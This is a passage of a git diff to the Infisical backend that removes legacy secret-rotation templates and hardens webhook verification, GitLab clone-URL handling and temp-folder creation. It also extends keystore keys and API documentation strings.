-import { TSecretRotationProviderTemplate } from "./types";
-
-export const rotationTemplates: TSecretRotationProviderTemplate[] = [
-  {
-    name: "sendgrid",
-    title: "Twilio Sendgrid",
-    image: "sendgrid.png",
-    description: "Rotate Twilio Sendgrid API keys",
-    template: SENDGRID_TEMPLATE
-  },
-  {
-    name: "postgres",
-    title: "PostgreSQL",
-    image: "postgres.png",
-    description: "Rotate PostgreSQL/CockroachDB user credentials",
-    template: POSTGRES_TEMPLATE,
-    isDeprecated: true
-  },
-  {
-    name: "mysql",
-    title: "MySQL",
-    image: "mysql.png",
-    description: "Rotate MySQL@7/MariaDB user credentials",
-    template: MYSQL_TEMPLATE
-  },
-  {
-    name: "mssql",
-    title: "Microsoft SQL Server",
-    image: "mssqlserver.png",
-    description: "Rotate Microsoft SQL server user credentials",
-    template: MSSQL_TEMPLATE,
-    isDeprecated: true
-  },
-  {
-    name: "aws-iam",
-    title: "AWS IAM",
-    image: "aws-iam.svg",
-    description: "Rotate AWS IAM User credentials",
-    template: AWS_IAM_TEMPLATE
-  }
-];
diff --git a/backend/src/ee/services/secret-rotation/templates/mssql.ts b/backend/src/ee/services/secret-rotation/templates/mssql.ts
deleted file mode 100644
index 30096590d9c..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/mssql.ts
+++ /dev/null
@@ -1,33 +0,0 @@
-import { TDbProviderClients, TProviderFunctionTypes } from "./types";
-
-export const MSSQL_TEMPLATE = {
-  type: TProviderFunctionTypes.DB as const,
-  client: TDbProviderClients.MsSqlServer,
-  inputs: {
-    type: "object" as const,
-    properties: {
-      admin_username: { type: "string" as const },
-      admin_password: { type: "string" as const },
-      host: { type: "string" as const },
-      database: { type: "string" as const, default: "master" },
-      port: { type: "integer" as const, default: "1433" },
-      username1: {
-        type: "string",
-        default: "infisical-sql-user1",
-        desc: "SQL Server login name that must be created at server level with a matching database user"
-      },
-      username2: {
-        type: "string",
-        default: "infisical-sql-user2",
-        desc: "SQL Server login name that must be created at server level with a matching database user"
-      },
-      ca: { type: "string", desc: "SSL certificate for db auth(string)" }
-    },
-    required: ["admin_username", "admin_password", "host", "database", "username1", "username2", "port"],
-    additionalProperties: false
-  },
-  outputs: {
-    db_username: { type: "string" },
-    db_password: { type: "string" }
-  }
-};
diff --git a/backend/src/ee/services/secret-rotation/templates/mysql.ts b/backend/src/ee/services/secret-rotation/templates/mysql.ts
deleted file mode 100644
index 723560a3e8b..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/mysql.ts
+++ /dev/null
@@ -1,33 +0,0 @@
-import { TDbProviderClients, TProviderFunctionTypes } from "./types";
-
-export const MYSQL_TEMPLATE = {
-  type: TProviderFunctionTypes.DB as const,
-  client: TDbProviderClients.MySql,
-  inputs: {
-    type: "object" as const,
-    properties: {
-      admin_username: { type: "string" as const },
-      admin_password: { type: "string" as const },
-      host: { type: "string" as const },
-      database: { type: "string" as const },
-      port: { type: "integer" as const, default: "3306" },
-      username1: {
-        type: "string",
-        default: "infisical-sql-user1",
-        desc: "This user must be created in your database"
-      },
-      username2: {
-        type: "string",
-        default: "infisical-sql-user2",
-        desc: "This user must be created in your database"
-      },
-      ca: { type: "string", desc: "SSL certificate for db auth(string)" }
-    },
-    required: ["admin_username", "admin_password", "host", "database", "username1", "username2", "port"],
-    additionalProperties: false
-  },
-  outputs: {
-    db_username: { type: "string" },
-    db_password: { type: "string" }
-  }
-};
diff --git a/backend/src/ee/services/secret-rotation/templates/postgres.ts b/backend/src/ee/services/secret-rotation/templates/postgres.ts
deleted file mode 100644
index c894631cb28..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/postgres.ts
+++ /dev/null
@@ -1,33 +0,0 @@
-import { TDbProviderClients, TProviderFunctionTypes } from "./types";
-
-export const POSTGRES_TEMPLATE = {
-  type: TProviderFunctionTypes.DB as const,
-  client: TDbProviderClients.Pg as const,
-  inputs: {
-    type: "object" as const,
-    properties: {
-      admin_username: { type: "string" as const },
-      admin_password: { type: "string" as const },
-      host: { type: "string" as const },
-      database: { type: "string" as const },
-      port: { type: "integer" as const, default: "5432" },
-      username1: {
-        type: "string",
-        default: "infisical-pg-user1",
-        desc: "This user must be created in your database"
-      },
-      username2: {
-        type: "string",
-        default: "infisical-pg-user2",
-        desc: "This user must be created in your database"
-      },
-      ca: { type: "string", desc: "SSL certificate for db auth(string)" }
-    },
-    required: ["admin_username", "admin_password", "host", "database", "username1", "username2", "port"],
-    additionalProperties: false
-  },
-  outputs: {
-    db_username: { type: "string" },
-    db_password: { type: "string" }
-  }
-};
diff --git a/backend/src/ee/services/secret-rotation/templates/sendgrid.ts b/backend/src/ee/services/secret-rotation/templates/sendgrid.ts
deleted file mode 100644
index bfdda7606ce..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/sendgrid.ts
+++ /dev/null
@@ -1,62 +0,0 @@
-/* eslint-disable no-template-curly-in-string  */
-import { TAssignOp, TProviderFunctionTypes } from "./types";
-
-export const SENDGRID_TEMPLATE = {
-  type: TProviderFunctionTypes.HTTP as const,
-  inputs: {
-    type: "object" as const,
-    properties: {
-      admin_api_key: { type: "string" as const, desc: "Sendgrid admin api key to create new keys" },
-      api_key_scopes: {
-        type: "array",
-        items: { type: "string" as const },
-        desc: "Scopes for created tokens by rotation(Array)"
-      }
-    },
-    required: ["admin_api_key", "api_key_scopes"],
-    additionalProperties: false
-  },
-  outputs: {
-    api_key: { type: "string" }
-  },
-  internal: {
-    api_key_id: { type: "string" }
-  },
-  functions: {
-    set: {
-      url: "https://api.sendgrid.com/v3/api_keys",
-      method: "POST",
-      header: {
-        Authorization: "Bearer ${inputs.admin_api_key}"
-      },
-      body: {
-        name: "infisical-${random | 16}",
-        scopes: { ref: "inputs.api_key_scopes" }
-      },
-      setter: {
-        "outputs.api_key": {
-          assign: TAssignOp.JmesPath as const,
-          path: "api_key"
-        },
-        "internal.api_key_id": {
-          assign: TAssignOp.JmesPath as const,
-          path: "api_key_id"
-        }
-      }
-    },
-    remove: {
-      url: "https://api.sendgrid.com/v3/api_keys/${internal.api_key_id}",
-      header: {
-        Authorization: "Bearer ${inputs.admin_api_key}"
-      },
-      method: "DELETE"
-    },
-    test: {
-      url: "https://api.sendgrid.com/v3/api_keys/${internal.api_key_id}",
-      header: {
-        Authorization: "Bearer ${inputs.admin_api_key}"
-      },
-      method: "GET"
-    }
-  }
-};
diff --git a/backend/src/ee/services/secret-rotation/templates/types.ts b/backend/src/ee/services/secret-rotation/templates/types.ts
deleted file mode 100644
index e2ad8384fe9..00000000000
--- a/backend/src/ee/services/secret-rotation/templates/types.ts
+++ /dev/null
@@ -1,92 +0,0 @@
-export enum TProviderFunctionTypes {
-  HTTP = "http",
-  DB = "database",
-  AWS = "aws"
-}
-
-export enum TDbProviderClients {
-  // postgres, cockroack db, amazon red shift
-  Pg = "pg",
-  // mysql and maria db
-  MySql = "mysql",
-
-  MsSqlServer = "mssql",
-  OracleDB = "oracledb"
-}
-
-export enum TAwsProviderSystems {
-  IAM = "iam"
-}
-
-export enum TAssignOp {
-  Direct = "direct",
-  JmesPath = "jmesopath"
-}
-
-export type TJmesPathAssignOp = {
-  assign: TAssignOp.JmesPath;
-  path: string;
-};
-
-export type TDirectAssignOp = {
-  assign: TAssignOp.Direct;
-  value: string;
-};
-
-export type TAssignFunction = TJmesPathAssignOp | TDirectAssignOp;
-
-export type THttpProviderFunction = {
-  url: string;
-  method: string;
-  header?: Record<string, string>;
-  query?: Record<string, string>;
-  body?: Record<string, unknown>;
-  setter?: Record<string, TAssignFunction>;
-  pre?: Record<string, TDirectAssignOp>;
-};
-
-export type TSecretRotationProviderTemplate = {
-  name: string;
-  title: string;
-  image?: string;
-  description?: string;
-  template: THttpProviderTemplate | TDbProviderTemplate | TAwsProviderTemplate;
-  isDeprecated?: boolean;
-};
-
-export type THttpProviderTemplate = {
-  type: TProviderFunctionTypes.HTTP;
-  inputs: {
-    type: "object";
-    properties: Record<string, { type: string; [x: string]: unknown; desc?: string }>;
-    required?: string[];
-  };
-  outputs: Record<string, unknown>;
-  functions: {
-    set: THttpProviderFunction;
-    remove?: THttpProviderFunction;
-    test: THttpProviderFunction;
-  };
-};
-
-export type TDbProviderTemplate = {
-  type: TProviderFunctionTypes.DB;
-  client: TDbProviderClients;
-  inputs: {
-    type: "object";
-    properties: Record<string, { type: string; [x: string]: unknown; desc?: string }>;
-    required?: string[];
-  };
-  outputs: Record<string, unknown>;
-};
-
-export type TAwsProviderTemplate = {
-  type: TProviderFunctionTypes.AWS;
-  client: TAwsProviderSystems;
-  inputs: {
-    type: "object";
-    properties: Record<string, { type: string; [x: string]: unknown; desc?: string }>;
-    required?: string[];
-  };
-  outputs: Record<string, unknown>;
-};
diff --git a/backend/src/ee/services/secret-scanning-v2/bitbucket/bitbucket-secret-scanning-service.ts b/backend/src/ee/services/secret-scanning-v2/bitbucket/bitbucket-secret-scanning-service.ts
index 258fb8ac0e8..b1ec152b4b9 100644
--- a/backend/src/ee/services/secret-scanning-v2/bitbucket/bitbucket-secret-scanning-service.ts
+++ b/backend/src/ee/services/secret-scanning-v2/bitbucket/bitbucket-secret-scanning-service.ts
@@ -70,7 +70,14 @@ export const bitbucketSecretScanningService = (
     hmac.update(bodyString);
     const calculatedSignature = hmac.digest("hex");
 
-    if (calculatedSignature !== receivedSignature) {
+    const calculatedSignatureBuf = Buffer.from(calculatedSignature, "hex");
+    const receivedSignatureBuf = Buffer.from(receivedSignature, "hex");
+
+    const isValid =
+      calculatedSignatureBuf.byteLength === receivedSignatureBuf.byteLength &&
+      crypto.nativeCrypto.timingSafeEqual(calculatedSignatureBuf, receivedSignatureBuf);
+
+    if (!isValid) {
       logger.error(
         `secretScanningV2PushEvent: Bitbucket - Invalid signature for webhook [dataSourceId=${dataSource.id}] [workspaceUuid=${repository.workspace.uuid}]`
       );
diff --git a/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-factory.ts b/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-factory.ts
index a18359073b2..13c22d40303 100644
--- a/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-factory.ts
+++ b/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-factory.ts
@@ -42,18 +42,6 @@ import {
   TQueueGitLabResourceDiffScan
 } from "./gitlab-secret-scanning-types";
 
-const getMainDomain = (instanceUrl: string) => {
-  const url = new URL(instanceUrl);
-  const { hostname } = url;
-  const parts = hostname.split(".");
-
-  if (parts.length >= 2) {
-    return parts.slice(-2).join(".");
-  }
-
-  return hostname;
-};
-
 export const GitLabSecretScanningFactory = ({ appConnectionDAL, kmsService }: TSecretScanningFactoryParams) => {
   const initialize: TSecretScanningFactoryInitialize<
     TGitLabDataSourceInput,
@@ -272,8 +260,10 @@ export const GitLabSecretScanningFactory = ({ appConnectionDAL, kmsService }: TS
       throw new Error("Invalid GitLab project name");
     }
 
+    const validatedHostname = new URL(instanceUrl).host;
+
     await cloneRepository({
-      cloneUrl: `https://${user.username}:${connection.credentials.accessToken}@${getMainDomain(instanceUrl)}/${resourceName}.git`,
+      cloneUrl: `https://${user.username}:${connection.credentials.accessToken}@${validatedHostname}/${resourceName}.git`,
       repoPath
     });
 
diff --git a/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-service.ts b/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-service.ts
index bc669a2f5b0..1d7d13850c3 100644
--- a/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-service.ts
+++ b/backend/src/ee/services/secret-scanning-v2/gitlab/gitlab-secret-scanning-service.ts
@@ -2,6 +2,7 @@ import { GitLabDataSourceScope } from "@app/ee/services/secret-scanning-v2/gitla
 import { TSecretScanningV2DALFactory } from "@app/ee/services/secret-scanning-v2/secret-scanning-v2-dal";
 import { SecretScanningDataSource } from "@app/ee/services/secret-scanning-v2/secret-scanning-v2-enums";
 import { TSecretScanningV2QueueServiceFactory } from "@app/ee/services/secret-scanning-v2/secret-scanning-v2-queue";
+import { crypto } from "@app/lib/crypto";
 import { logger } from "@app/lib/logger";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { KmsDataKey } from "@app/services/kms/kms-types";
@@ -57,7 +58,13 @@ export const gitlabSecretScanningService = (
 
     const credentials = JSON.parse(decryptedCredentials.toString()) as TGitLabDataSourceCredentials;
 
-    if (token !== credentials.token) {
+    const storedToken = Buffer.from(credentials.token, "utf8");
+    const receivedToken = Buffer.from(token, "utf8");
+
+    const isValid =
+      storedToken.length === receivedToken.length && crypto.nativeCrypto.timingSafeEqual(storedToken, receivedToken);
+
+    if (!isValid) {
       logger.error(
         `secretScanningV2PushEvent: GitLab - Invalid webhook token [dataSourceId=${dataSource.id}] [projectId=${payload.project.id}]`
       );
diff --git a/backend/src/ee/services/secret-scanning/secret-scanning-queue/secret-scanning-fns.ts b/backend/src/ee/services/secret-scanning/secret-scanning-queue/secret-scanning-fns.ts
index 94d699c7fdb..ab561ae505b 100644
--- a/backend/src/ee/services/secret-scanning/secret-scanning-queue/secret-scanning-fns.ts
+++ b/backend/src/ee/services/secret-scanning/secret-scanning-queue/secret-scanning-fns.ts
@@ -1,25 +1,14 @@
 import { Octokit } from "@octokit/rest";
 import { execFile } from "child_process";
-import { mkdir, readFile, rm, writeFile } from "fs";
+import { readFile, rm, writeFile } from "fs";
+import { mkdtemp } from "fs/promises";
 import { tmpdir } from "os";
 import { join } from "path";
 
 import { SecretMatch } from "./secret-scanning-queue-types";
 
 export function createTempFolder(): Promise<string> {
-  return new Promise((resolve, reject) => {
-    const tempDir = tmpdir();
-    const tempFolderName = Math.random().toString(36).substring(2);
-    const tempFolderPath = join(tempDir, tempFolderName);
-
-    mkdir(tempFolderPath, (err) => {
-      if (err) {
-        reject(err);
-      } else {
-        resolve(tempFolderPath);
-      }
-    });
-  });
+  return mkdtemp(join(tmpdir(), "infisical-scan-"));
 }
 
 export function writeTextToFile(filePath: string, content: string): Promise<void> {
diff --git a/backend/src/ee/services/trusted-ip/trusted-ip-service.ts b/backend/src/ee/services/trusted-ip/trusted-ip-service.ts
index 6b9686e25b0..99343e0cc38 100644
--- a/backend/src/ee/services/trusted-ip/trusted-ip-service.ts
+++ b/backend/src/ee/services/trusted-ip/trusted-ip-service.ts
@@ -3,6 +3,8 @@ import { ForbiddenError } from "@casl/ability";
 import { ActionProjectType } from "@app/db/schemas";
 import { BadRequestError } from "@app/lib/errors";
 import { extractIPDetails, isValidIpOrCidr } from "@app/lib/ip";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { TProjectDALFactory } from "@app/services/project/project-dal";
 
 import { TLicenseServiceFactory } from "../license/license-service";
@@ -66,7 +68,9 @@ export const trustedIpServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Create, ProjectPermissionSub.IpAllowList);
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     const plan = await licenseService.getPlan(project.orgId);
     if (!plan.ipAllowlisting)
       throw new BadRequestError({
@@ -112,7 +116,9 @@ export const trustedIpServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Create, ProjectPermissionSub.IpAllowList);
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     const plan = await licenseService.getPlan(project.orgId);
     if (!plan.ipAllowlisting)
       throw new BadRequestError({
@@ -158,7 +164,9 @@ export const trustedIpServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Create, ProjectPermissionSub.IpAllowList);
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
     const plan = await licenseService.getPlan(project.orgId);
     if (!plan.ipAllowlisting)
       throw new BadRequestError({
diff --git a/backend/src/keystore/keystore.ts b/backend/src/keystore/keystore.ts
index 5e1cf9395b9..d44006c1c57 100644
--- a/backend/src/keystore/keystore.ts
+++ b/backend/src/keystore/keystore.ts
@@ -31,6 +31,7 @@ export const PgSqlLock = {
   IdentityLogin: (identityId: string, nonce: string) => pgAdvisoryLockHashText(`identity-login:${identityId}:${nonce}`),
   PamResourceSshCaInit: (resourceId: string) => pgAdvisoryLockHashText(`pam-resource-ssh-ca-init:${resourceId}`),
   CreateIdentity: (orgId: string) => pgAdvisoryLockHashText(`create-identity:${orgId}`),
+  CreateGateway: (orgId: string) => pgAdvisoryLockHashText(`create-gateway:${orgId}`),
   AccessSharedSecret: (sharedSecretId: string) => pgAdvisoryLockHashText(`access-shared-secret:${sharedSecretId}`),
   KmsOrgKeyCreation: (orgId: string) => pgAdvisoryLockHashText(`kms-org-key:${orgId}`),
   KmsOrgDataKeyCreation: (orgId: string) => pgAdvisoryLockHashText(`kms-org-data-key:${orgId}`),
@@ -69,24 +70,17 @@ export const KeyStorePrefixes = {
   ActiveSSEConnections: (projectId: string, identityId: string, connectionId: string) =>
     `sse-connections:${projectId}:${identityId}:${connectionId}` as const,
 
-  ProjectPermission: (
-    projectId: string,
-    version: number,
-    actorType: string,
-    actorId: string,
-    actionProjectType: string
-  ) => `project-permission:${projectId}:${version}:${actorType}:${actorId}:${actionProjectType}` as const,
-  ProjectPermissionDalVersion: (projectId: string) => `project-permission:${projectId}:dal-version` as const,
-  UserProjectPermissionPattern: (userId: string) => `project-permission:*:*:USER:${userId}:*` as const,
-  IdentityProjectPermissionPattern: (identityId: string) => `project-permission:*:*:IDENTITY:${identityId}:*` as const,
-  GroupMemberProjectPermissionPattern: (projectId: string, groupId: string) =>
-    `group-member-project-permission:${projectId}:${groupId}:*` as const,
+  ProjectPermissionMarker: (projectId: string, actorType: string, actorId: string, actionProjectType: string) =>
+    `project-permission-marker:${projectId}:${actorType}:${actorId}:${actionProjectType}` as const,
+  ProjectPermissionData: (projectId: string, actorType: string, actorId: string, actionProjectType: string) =>
+    `project-permission-data:${projectId}:${actorType}:${actorId}:${actionProjectType}` as const,
 
   PkiAcmeNonce: (nonce: string) => `pki-acme-nonce:${nonce}` as const,
   MfaSession: (mfaSessionId: string) => `mfa-session:${mfaSessionId}` as const,
   WebAuthnChallenge: (userId: string) => `webauthn-challenge:${userId}` as const,
   UserMfaLockoutLock: (userId: string) => `user-mfa-lockout-lock:${userId}` as const,
   UserMfaUnlockEmailSent: (userId: string) => `user-mfa-unlock-email-sent:${userId}` as const,
+  UsedTotpCode: (userId: string, code: string) => `used-totp-code:${userId}:${code}` as const,
 
   AiMcpServerOAuth: (sessionId: string) => `ai-mcp-server-oauth:${sessionId}` as const,
 
@@ -104,21 +98,61 @@ export const KeyStorePrefixes = {
 
   TelemetryIdentifyIdentity: (dedupKey: string) => `telemetry-identify-identity:${dedupKey}` as const,
   TelemetryGroupIdentify: (orgId: string) => `telemetry-group-identify:${orgId}` as const,
+  TelemetryIdentify: (distinctId: string) => `telemetry-identify:${distinctId}` as const,
   SecretEtag: (projectId: string) => `secret-etag:${projectId}` as const,
-  RefreshTokenGrace: (sessionId: string) => `refresh-token-grace:${sessionId}` as const
+
+  PamAwsIamAccessKeyId: (sessionId: string) => `pam-aws-iam-access-key-id:${sessionId}` as const,
+
+  CertDashboardStats: (projectId: string) => `cert-dashboard-stats:${projectId}` as const,
+  CertActivityTrend: (projectId: string, range: string) => `cert-activity-trend:${projectId}:${range}` as const,
+  CertPqcTrend: (projectId: string, range: string) => `cert-pqc-trend:${projectId}:${range}` as const,
+  RefreshTokenGrace: (sessionId: string) => `refresh-token-grace:${sessionId}` as const,
+  InsightsCache: (projectId: string, endpoint: string) => `insights-cache:${projectId}:${endpoint}` as const,
+
+  AdminConfig: "infisical-admin-cfg",
+  InvalidatingCache: "invalidating-cache",
+  SecretManagerCachePattern: "secret-manager:*",
+  AuditLogMigrationAlert: "audit-log-migration-alert-last-row-count",
+  LicenseCloudPlan: (orgId: string) => `infisical-cloud-plan-${orgId}` as const,
+  IdentityLockoutState: (identityId: string, authMethod: string, slug: string) =>
+    `lockout:identity:${identityId}:${authMethod}:${slug}` as const,
+  IdentityLockoutStateByMethodPattern: (identityId: string, authMethod: string) =>
+    `lockout:identity:${identityId}:${authMethod}:*` as const,
+  IdentityLockoutStatePattern: (identityId: string) => `lockout:identity:${identityId}:*` as const,
+
+  TelemetryEvent: (event: string, bucketId: string, distinctId: string, uuid: string) =>
+    `telemetry-event-${event}-${bucketId}-${distinctId}-${uuid}` as const,
+  TelemetryEventByBucketPattern: (event: string, bucketId: string) => `telemetry-event-${event}-${bucketId}-*` as const
 };
 
 export const KeyStoreTtls = {
   SetSyncSecretIntegrationLastRunTimestampInSeconds: 60,
   SetSecretSyncLastRunTimestampInSeconds: 60,
   AccessTokenStatusUpdateInSeconds: 120,
-  ProjectPermissionCacheInSeconds: 300, // 5 minutes
-  ProjectPermissionDalVersionTtl: "15m", // Project permission DAL version TTL
+  ProjectPermissionMarkerTtlSeconds: 10, // 10 seconds - short-lived marker for fingerprint validation
+  ProjectPermissionDataTtlSeconds: 600, // 10 minutes - longer-lived data payload
   MfaSessionInSeconds: 300, // 5 minutes
   WebAuthnChallengeInSeconds: 300, // 5 minutes
+  UsedTotpCodeInSeconds: 120, // covers the full ±30s acceptance window (window:1 → 90s) with margin
   ProjectSSEConnectionTtlSeconds: 180, // Must be > heartbeat interval (60s) * 2
   TelemetryIdentifyIdentityInSeconds: 86400, // 24 hours
-  RefreshTokenGraceInSeconds: 30
+  RefreshTokenGraceInSeconds: 10,
+  InsightsCacheInSeconds: 300, // 5 minutes
+  AdminConfigInSeconds: 60,
+  InvalidatingCacheInSeconds: 1800, // 30 minutes max lock for cache invalidation job
+  AuditLogMigrationAlertInSeconds: 604800, // 7 days
+  LicenseCloudPlanInSeconds: 300, // 5 minutes
+  AiMcpEndpointOAuthFlowInSeconds: 300, // 5 minutes
+  AiMcpServerOAuthSessionInSeconds: 600, // 10 minutes
+  DashboardCacheInSeconds: 600, // 10 minutes
+  ProjectEnvironmentOperationMarkerInSeconds: 10,
+  UserMfaUnlockEmailSentInSeconds: 300, // 5 minutes
+  TelemetryGroupIdentifyInSeconds: 3600, // 1 hour
+  TelemetryAggregatedEventInSeconds: 600, // 10 minutes
+  SecretEtagInSeconds: 900, // 15 minutes
+  PkiAcmeNonceInSeconds: 300, // 5 minutes
+  GatewayRelayCredentialInSeconds: 600, // 10 minutes - TURN credential lifetime
+  SecretReplicationSuccessInSeconds: 10
 };
 
 type TDeleteItems = {
diff --git a/backend/src/lib/api-docs/constants.ts b/backend/src/lib/api-docs/constants.ts
index 77206111c08..e09b964a560 100644
--- a/backend/src/lib/api-docs/constants.ts
+++ b/backend/src/lib/api-docs/constants.ts
@@ -1025,7 +1025,19 @@ export const PROJECTS = {
     metadata:
       "Filter by metadata key-value pairs. Each entry should have a key (required) and optionally a value to match against.",
     extendedKeyUsage:
-      "Filter by extended key usage. Only certificates containing this EKU will be returned (e.g. 'codeSigning', 'serverAuth')."
+      "Filter by extended key usage. Only certificates containing this EKU will be returned (e.g. 'codeSigning', 'serverAuth').",
+    keyAlgorithm: "Filter by key algorithm (e.g. 'RSA_2048', 'EC_prime256v1').",
+    signatureAlgorithm: "Filter by signature algorithm (e.g. 'RSA-SHA256', 'ECDSA-SHA256').",
+    keySizes: "Filter by key sizes in bits (e.g. [2048, 4096]).",
+    caIds: "Filter by certificate authority IDs.",
+    enrollmentTypes: "Filter by enrollment types (e.g. 'api', 'est', 'acme', 'scep').",
+    source: "Filter by certificate source ('issued', 'discovered', 'imported').",
+    notAfterFrom: "Filter certificates expiring on or after this date.",
+    notAfterTo: "Filter certificates expiring on or before this date.",
+    notBeforeFrom: "Filter certificates issued on or after this date.",
+    notBeforeTo: "Filter certificates issued on or before this date.",
+    sortBy: "Column to sort by (e.g. 'notAfter', 'notBefore', 'commonName').",
+    sortOrder: "Sort direction: 'asc' or 'desc'."
   },
   LIST_PKI_SUBSCRIBERS: {
     projectId: "The ID of the project to list PKI subscribers for."
@@ -2459,6 +2471,10 @@ export const KMS = {
     keyId: "The ID of the key to export the private key or key material for."
   },
 
+  BULK_EXPORT_PRIVATE_KEYS: {
+    keyIds: "An array of KMS key IDs to export. Maximum 100 keys per request."
+  },
+
   SIGN: {
     keyId: "The ID of the key to sign the data with.",
     data: "The data in string format to be signed (base64 encoded).",
@@ -2543,6 +2559,12 @@ export const CertificateAuthorities = {
       certificateAuthorityArn: `The ARN of the AWS Private Certificate Authority to use for issuing certificates.`,
       region: `The AWS region where the Private Certificate Authority is located.`
     },
+    AWS_ACM_PUBLIC_CA: {
+      appConnectionId: `The ID of the AWS App Connection to use for authenticating with AWS Certificate Manager (ACM). This connection must have permissions to request, describe, export, renew, and delete certificates.`,
+      dnsAppConnectionId: `The ID of the AWS App Connection to use for creating and managing Route 53 CNAME records required for ACM domain validation.`,
+      hostedZoneId: `The Route 53 hosted zone ID to use for ACM DNS validation CNAME records.`,
+      region: `The AWS region to use for the ACM API calls.`
+    },
     INTERNAL: {
       type: "The type of CA to create.",
       friendlyName: "A friendly name for the CA.",
@@ -2628,6 +2650,16 @@ export const AppConnections = {
     VERCEL: {
       apiToken: "The API token used to authenticate with Vercel."
     },
+    ONA: {
+      personalAccessToken: "The Personal Access Token used to authenticate with Ona."
+    },
+    DIGICERT: {
+      apiKey: "The CertCentral API Key used to authenticate with DigiCert.",
+      region: "The CertCentral region the API key belongs to (us or eu)."
+    },
+    TRAVISCI: {
+      apiToken: "The API token used to authenticate with Travis CI."
+    },
     CAMUNDA: {
       clientId: "The client ID used to authenticate with Camunda.",
       clientSecret: "The client secret used to authenticate with Camunda."
@@ -2778,6 +2810,14 @@ export const AppConnections = {
     VENAFI: {
       apiKey: "The API key used to authenticate with Venafi TLS Protect Cloud.",
       region: "The region of your Venafi TLS Protect Cloud instance (e.g., 'us', 'eu')."
+    },
+    VENAFI_TPP: {
+      tppUrl: "The HTTPS URL of the Venafi TPP instance (e.g., 'https://tpp.example.com'). Must use HTTPS.",
+      clientId:
+        "The OAuth client ID registered in the Venafi TPP API Integration. Used for token-based authentication.",
+      username:
+        "The username used to authenticate with Venafi TPP. Supports formats: 'DOMAIN\\\\username', 'username@domain.com', or local usernames.",
+      password: "The password used to authenticate with Venafi TPP."
     }
   }
 };
@@ -2935,6 +2975,10 @@ export const SecretSyncs = {
       scope: "The Terraform Cloud scope that secrets should be synced to.",
       category: "The Terraform Cloud category that secrets should be synced to."
     },
+    ONA: {
+      projectId: "The Ona project ID to sync secrets to.",
+      projectName: "An optional display name for the Ona project."
+    },
     VERCEL: {
       app: "The ID of the Vercel app to sync secrets to.",
       appName: "The name of the Vercel app to sync secrets to.",
@@ -2943,8 +2987,13 @@ export const SecretSyncs = {
       teamId: "The ID of the Vercel team to sync secrets to.",
       teamName:
         "The name of the team to sync the secrets to. This is an optional field only intended for display purposes.",
-      targetEnvironments: "An optional array of Vercel environments to add shared environment variables to.",
-      targetProjects: "An optional array of Vercel projects to add shared environment variables to."
+      targetEnvironments:
+        "An optional array of Vercel default environments (development, preview, production) to add shared environment variables to.",
+      applyToAllCustomEnvironments:
+        "Whether to apply shared environment variables to all custom environments in the team.",
+      targetProjects: "An optional array of Vercel projects to add shared environment variables to.",
+      sensitive:
+        "Whether to create Vercel environment variables as Sensitive (cannot be read back). Not allowed when targeting the Development environment."
     },
     LARAVEL_FORGE: {
       orgSlug: "The slug of the Laravel Forge org to sync secrets to.",
@@ -3066,6 +3115,12 @@ export const SecretSyncs = {
       projectId: "The ID of the project on the external Infisical instance to sync secrets to.",
       environment: "The environment slug on the external Infisical instance to sync secrets to.",
       secretPath: "The secret path on the external Infisical instance to sync secrets to."
+    },
+    TRAVIS_CI: {
+      repositoryId: "The ID of the Travis CI repository to sync secrets to.",
+      repositorySlug: "The slug (owner/repo) of the Travis CI repository to sync secrets to.",
+      branch:
+        "The branch of the Travis CI repository to sync secrets to. If omitted, secrets sync to the repository-level scope."
     }
   }
 };
@@ -3217,6 +3272,10 @@ export const SecretRotations = {
       limitReset: "The type of limit reset for the API key (daily, weekly, monthly, or null for no reset).",
       includeByokInLimit:
         "Whether to include BYOK (Bring Your Own Key) usage in the spending limit. When enabled, usage from your own provider keys counts toward this key's limit. See OpenRouter BYOK docs for details."
+    },
+    SUPABASE_API_KEY: {
+      projectRef: "The reference ID of the Supabase project to rotate the API key for.",
+      keyType: "The type of the API key to rotate (e.g. publishable, secret)."
     }
   },
   SECRETS_MAPPING: {
@@ -3277,6 +3336,9 @@ export const SecretRotations = {
     },
     OPEN_ROUTER_API_KEY: {
       apiKey: "The name of the secret that the rotated OpenRouter API key will be mapped to."
+    },
+    SUPABASE_API_KEY: {
+      apiKey: "The name of the secret that the rotated Supabase API key will be mapped to."
     }
   }
 };
diff --git a/backend/src/lib/aws/error.ts b/backend/src/lib/aws/error.ts
new file mode 100644
index 00000000000..c0e3744ba5c
--- /dev/null
+++ b/backend/src/lib/aws/error.ts
@@ -0,0 +1,4 @@
+// AWS SDK v3 exception classes are only generated for errors explicitly modeled in a service's API definition.
+// Generic errors like ThrottlingException are not modeled by all services (e.g. Secrets Manager, KMS),
+// so they cannot be caught with instanceof. This utility checks the error name directly as a fallback.
+export const isAwsError = (error: unknown, name: string): boolean => (error as { name: string }).name === name;
diff --git a/backend/src/lib/cache/with-cache.test.ts b/backend/src/lib/cache/with-cache.test.ts
index 5048d32eb59..6a261912a3a 100644
--- a/backend/src/lib/cache/with-cache.test.ts
